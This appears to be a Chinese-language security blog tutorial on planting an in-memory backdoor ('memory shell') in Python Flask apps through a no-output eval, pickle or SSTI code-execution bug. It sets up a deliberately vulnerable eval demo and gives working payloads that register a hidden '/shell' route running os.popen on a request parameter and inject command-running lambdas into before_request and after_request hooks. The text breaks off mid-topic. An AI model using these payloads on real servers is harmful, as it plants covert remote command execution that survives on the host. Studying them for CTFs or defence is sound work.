前言

这个东西主要的用途可能就在python环境下没法出网且无回显的rce上了。我们通过添加路由来实现一个内存马完成后门路由。

测试demo

为了方便我们这里直接开一个eval函数,但无回显并不出网。

在实际应用中可以应用在pickle反序列化或者ssti这些能代码执行的场景。

from flask import Flask,request

app=Flask(__name__)

@app.route("/")
def index():
    cmd = request.args.get("cmd")
    print(eval(cmd))
    return "hello!"
    

if __name__=="__main__":
    app.run(host="0.0.0.0",debug=False,port="11451")

我们先研究debug模式关闭的情况。

debug模式关闭

http://127.0.0.1:11451/?cmd=__import__(%22os%22).system(%22whoami%22)

正常执行命令是没有回显的,我们期望向flask中注入一个路由,用这个路由实现web后门的效果。

app.url_map

这里我们注意到一个函数add_url_rule(),用来实现动态向应用中添加路由。而@app.route()其实是这个函数的装饰器封装。

add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None, **options)

Register a rule for routing incoming requests and building URLs. The route() decorator is a shortcut to call this with the view_func argument. These are equivalent:

@app.route("/")
def index():
    ...
def index():
    ...

app.add_url_rule("/", view_func=index)

See URL Route Registrations.

The endpoint name for the route defaults to the name of the view function if the endpoint parameter isn’t passed. An error will be raised if a function has already been registered for the endpoint.

The methods parameter defaults to ["GET"]. HEAD is always added automatically, and OPTIONS is added automatically by default.

view_func does not necessarily need to be passed, but if the rule should participate in routing an endpoint name must be associated with a view function at some point with the endpoint() decorator.

app.add_url_rule("/", endpoint="index")

@app.endpoint("index")
def index():
    ...

If view_func has a required_methods attribute, those methods are added to the passed and automatic methods. If it has a provide_automatic_methods attribute, it is used as the default if the parameter is not passed.

  • Parameters:

    rule (str) – The URL rule string.endpoint (str | None) – The endpoint name to associate with the rule and view function. Used when routing and building URLs. Defaults to view_func.__name__.view_func (ft.RouteCallable | None) – The view function to associate with the endpoint name.provide_automatic_options (bool | None) – Add the OPTIONS method and respond to OPTIONS requests automatically.options (t.Any) – Extra options passed to the Rule object.

  • Return type:

    None

但在新版本的flask中这个函数只能作用于接收到第一个请求前,否则会报错。

AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.

跟进这个错误可以发现是@setupmethod抛出的

def setupmethod(f: F) -> F:
    f_name = f.__name__

    def wrapper_func(self: Scaffold, *args: t.Any, **kwargs: t.Any) -> t.Any:
        self._check_setup_finished(f_name)
        return f(self, *args, **kwargs)

    return t.cast(F, update_wrapper(wrapper_func, f))

继续跟进_check_setup_finished(f_name)

def _check_setup_finished(self, f_name: str) -> None:
    if self._got_first_request:
        raise AssertionError(
            f"The setup method '{f_name}' can no longer be called"
            " on the application. It has already handled its first"
            " request, any changes will not be applied"
            " consistently.\n"
            "Make sure all imports, decorators, functions, etc."
            " needed to set up the application are done before"
            " running it."
        )
try:
    run_simple(t.cast(str, host), port, self, **options)
finally:
    # reset the first request information if the development server
    # reset normally.  This makes it possible to restart the server
    # without reloader and that stuff from an interactive shell.
    self._got_first_request = False
def full_dispatch_request(self) -> Response:
    """Dispatches the request and on top of that performs request
    pre and postprocessing as well as HTTP exception catching and
    error handling.

    .. versionadded:: 0.7
    """
    self._got_first_request = True

    try:
        request_started.send(self, _async_wrapper=self.ensure_sync)
        rv = self.preprocess_request()
        if rv is None:
            rv = self.dispatch_request()
    except Exception as e:
        rv = self.handle_user_exception(e)
    return self.finalize_request(rv)

这里在full_dispatch_request中被直接设置成true了,没办法绕过。检查一下add_url_rule()的底层实现。

@setupmethod
def add_url_rule(
    self,
    rule: str,
    endpoint: str | None = None,
    view_func: ft.RouteCallable | None = None,
    provide_automatic_options: bool | None = None,
    **options: t.Any,
) -> None:
  ...
  ...
# Add the required methods now.
    methods |= required_methods

    rule_obj = self.url_rule_class(rule, methods=methods, **options)
    rule_obj.provide_automatic_options = provide_automatic_options  # type: ignore[attr-defined]

    self.url_map.add(rule_obj)
    if view_func is not None:
        old_func = self.view_functions.get(endpoint)
        if old_func is not None and old_func != view_func:
            raise AssertionError(
                "View function mapping is overwriting an existing"
                f" endpoint function: {endpoint}"
            )
        self.view_functions[endpoint] = view_func

尝试使用url_map.add()添加路由

exec("rule_obj = app.url_rule_class('/shell')\napp.url_map.add(rule_obj)")

image-20240918161340573

可以看到此时路由已经添加成功了,但我们没有给他连接view_func报了500,正常未定义路由应该是404。

我们此时要为这个路由指定endpoint

exec("rule_obj = app.url_rule_class('/shell',endpoint='shell')\napp.url_map.add(rule_obj)")

Note that functions created with lambda expressions cannot contain statements or annotations.

app.view_functions['shell']=lambda:__import__('os').popen('whoami').read()

image-20240918170650959

成功写入路由。

扩展后门功能,目前的功能是写死的,我们期望使用传入参数作为命令执行并回显

app.view_functions['shell']=lambda:__import__('os').popen(request.args.get('shell')).read()

似乎这种写法有些情况无法获取request,需要通过逃逸获取

app.request_context.__globals__['request_ctx'].request.args.get('shell')

before_request和after_request

这两个装饰器主要用于定义请求发过来处理前和处理后所要干的事情。

before_request(f)

Register a function to run before each request.

For example, this can be used to open a database connection, or to load the logged in user from the session.

@app.before_request
def load_user():
    if "user_id" in session:
        g.user = db.session.get(session["user_id"])

The function will be called without any arguments. If it returns a non-None value, the value is handled as if it was the return value from the view, and further request handling is stopped.

This is available on both app and blueprint objects. When used on an app, this executes before every request. When used on a blueprint, this executes before every request that the blueprint handles. To register with a blueprint and execute before every request, use Blueprint.before_app_request().

  • Parameters:

    f (T_before_request)

  • Return type:

    T_before_request

after_request(f)

Register a function to run after each request to this object.

The function is called with the response object, and must return a response object. This allows the functions to modify or replace the response before it is sent.

If a function raises an exception, any remaining after_request functions will not be called. Therefore, this should not be used for actions that must execute, such as to close resources. Use teardown_request() for that.

This is available on both app and blueprint objects. When used on an app, this executes after every request. When used on a blueprint, this executes after every request that the blueprint handles. To register with a blueprint and execute after every request, use Blueprint.after_app_request().

  • Parameters:

    f (T_after_request)

  • Return type:

    T_after_request

跟进一下这个装饰器

@setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
    """Register a function to run before each request.

    For example, this can be used to open a database connection, or
    to load the logged in user from the session.

    .. code-block:: python

        @app.before_request
        def load_user():
            if "user_id" in session:
                g.user = db.session.get(session["user_id"])

    The function will be called without any arguments. If it returns
    a non-``None`` value, the value is handled as if it was the
    return value from the view, and further request handling is
    stopped.

    This is available on both app and blueprint objects. When used on an app, this
    executes before every request. When used on a blueprint, this executes before
    every request that the blueprint handles. To register with a blueprint and
    execute before every request, use :meth:`.Blueprint.before_app_request`.
    """
    self.before_request_funcs.setdefault(None, []).append(f)
    return f

直接尝试一下修改before_request_funcs

app.before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())

image-20240918193030414

成功注入

对于after_request做同样的尝试

app.after_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())

似乎不能执行,有报错

TypeError: <lambda>() takes 0 positional arguments but 1 was given

翻阅文档发现这个必须有一个返回值

"""
The function is called with the response object, and must return a response object. This allows the functions to modify or replace the response before it is sent.
"""